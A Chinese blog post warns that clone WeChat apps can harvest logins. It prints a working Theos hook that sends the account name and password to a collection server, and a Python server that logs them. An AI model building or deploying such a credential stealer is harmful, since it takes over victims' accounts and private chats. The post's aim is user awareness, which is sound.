最近微信分身版各種瘋傳,不少人都安裝了不同功能的微信分身版,不管是一鍵轉(zhuǎn)發(fā),一鍵評(píng)論還是帶有其它功能的微信分身版。
很顯然很多人安裝了這些分身版卻不知道其中可能存在的風(fēng)險(xiǎn),這些微信分身版無(wú)非就是通過(guò)load command動(dòng)態(tài)庫(kù)注入hook函數(shù)進(jìn)行篡改,雖然你的手機(jī)沒(méi)有越獄,但是安裝了微信分身版后,你所用微信的所有信息都暴露在別人的面前了。包括獲取你的微信賬號(hào)密碼,聊天記錄等等,所有的信息。
下面筆者就從如何獲取微信賬號(hào)密碼并傳到指定服務(wù)器做一個(gè)簡(jiǎn)單的分析,看完這個(gè)后,你安裝的分身版微信很可能就已經(jīng)收集你的微信賬號(hào)和密碼。
首先進(jìn)入微信登錄界面,查看ViewController的繼承關(guān)系:
[[[UIWindow keyWindow] rootViewController] _printHierarchy]
<MMUINavigationController 0×18392800>, state: appeared, view: <UILayoutContainerView 0x17f33790>
| <WCAccountLoginLastUserViewController 0x18b52600>, state: appeared, view: <UIView 0x192740d0>
可以得到當(dāng)前的ViewController為WCAccountLoginLastUserViewController,跟蹤該類(lèi)。然后點(diǎn)擊登錄按鈕,可以看到調(diào)用onNext方法。使用IDA進(jìn)入里面分析,可以得知是WCAccountLoginControlLogic類(lèi)來(lái)負(fù)責(zé)處理具體的登錄邏輯。跟蹤WCAccountLoginControlLogic可以發(fā)現(xiàn)登錄的時(shí)候調(diào)用了
- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}
其中傳的參數(shù)就是微信的賬號(hào)和密碼,現(xiàn)在演示一下如何攔截微信賬號(hào)密碼,并發(fā)送到指定服務(wù)器。
既然需要一個(gè)服務(wù)器來(lái)接受傳輸?shù)臄?shù)據(jù),那么就使用python的BaseHTTPRequestHandler來(lái)搭建一個(gè)簡(jiǎn)單的服務(wù)器。
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
#!/usr/bin/env python
# -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from urlparse import urlparse, parse_qs DEFAULT_HOST = '' DEFAULT_PORT = 8080 class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): params=parse_qs(urlparse(self.path).query) self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() #獲取賬號(hào)密碼 fread = open('./pwd.log','r') lines = fread.readlines(); #每隔2秒刷新一次 content = '<meta http-equiv="refresh" content="2">' for line in lines: content = content+line+'<br>' # Send the message to browser self.wfile.write(content) return def do_POST(self): params=parse_qs(urlparse(self.path).query) #保存賬號(hào)密碼 fwrite = open('./pwd.log','a+') fwrite.write("username=%s\n" % params['name'][0]) fwrite.write("pwd=%s\n" % params['pwd'][0]) fwrite.close() self.send_response(200) self.end_headers() return def run_server(): try: server_address=(DEFAULT_HOST, DEFAULT_PORT) server= HTTPServer(server_address,RequestHandler) print "HTTP server started on port: %s" % DEFAULT_PORT server.serve_forever() except Exception, err: print "Error:%s" %err except KeyboardInterrupt: print "Server interrupted and is shutting down..." server.socket.close() if __name__ == "__main__": run_server() |
好了,一個(gè)簡(jiǎn)單的服務(wù)器搭建好了,post用來(lái)接受從微信傳過(guò)來(lái)的賬號(hào)和密碼信息并保存到本地文件,然后通過(guò)get不斷去請(qǐng)求刷新獲取的賬號(hào)密碼。
編寫(xiě)tweak攔截賬號(hào)密碼,并發(fā)送到剛剛搭建的服務(wù)器上:
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
%hook WCAccountLoginControlLogic
- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{ %log; NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&pwd=%@",name,pwd]]]; [request setTimeoutInterval:30]; [request setHTTPMethod:@"POST"]; [NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue] completionHandler:^(NSURLResponse *respone, NSData *data, NSError *error) { NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone; if(httpResponse.statusCode == 200){ NSLog(@"send pwd success!"); } }]; } %end |
重簽名微信,生成一個(gè)在非越獄機(jī)器上運(yùn)行的微信分身版,這個(gè)已經(jīng)在上一篇文章中講過(guò)。進(jìn)入登錄界面輸入賬號(hào)密碼,每次輸入賬號(hào)密碼就發(fā)把賬號(hào)密碼發(fā)送到我們搭建的服務(wù)器上面,然后在瀏覽器輸入http://localhost:8080/就能實(shí)時(shí)看到輸入的賬號(hào)密碼是什么了。
上面只是一個(gè)簡(jiǎn)單的演示,當(dāng)然實(shí)際的分身版不可能寫(xiě)的這么簡(jiǎn)單,一般都經(jīng)過(guò)混淆和加密的,但是也就是說(shuō),一旦你安裝了微信分身版,那么你微信上面所有的信息都可能被監(jiān)控,導(dǎo)致隱私泄露。
從網(wǎng)上下了一個(gè)分身版的微信就在其中的dylib文件中發(fā)現(xiàn)了上傳賬號(hào)密碼的代碼
所以即使你的手機(jī)沒(méi)有越獄,也不要去網(wǎng)上下載微信分身版,也不要去第三方渠道下載應(yīng)用,因?yàn)楹芸赡苣阍诘谌角老螺d的應(yīng)用就是被篡改過(guò)的。
本文鏈接:http://www.blogfshare.com/the-second-wechat.html
哈爾濱品用軟件有限公司致力于為哈爾濱的中小企業(yè)制作大氣、美觀的優(yōu)秀網(wǎng)站,并且能夠搭建符合百度排名規(guī)范的網(wǎng)站基底,使您的網(wǎng)站無(wú)需額外費(fèi)用,即可穩(wěn)步提升排名至首頁(yè)。歡迎體驗(yàn)最佳的哈爾濱網(wǎng)站建設(shè)。
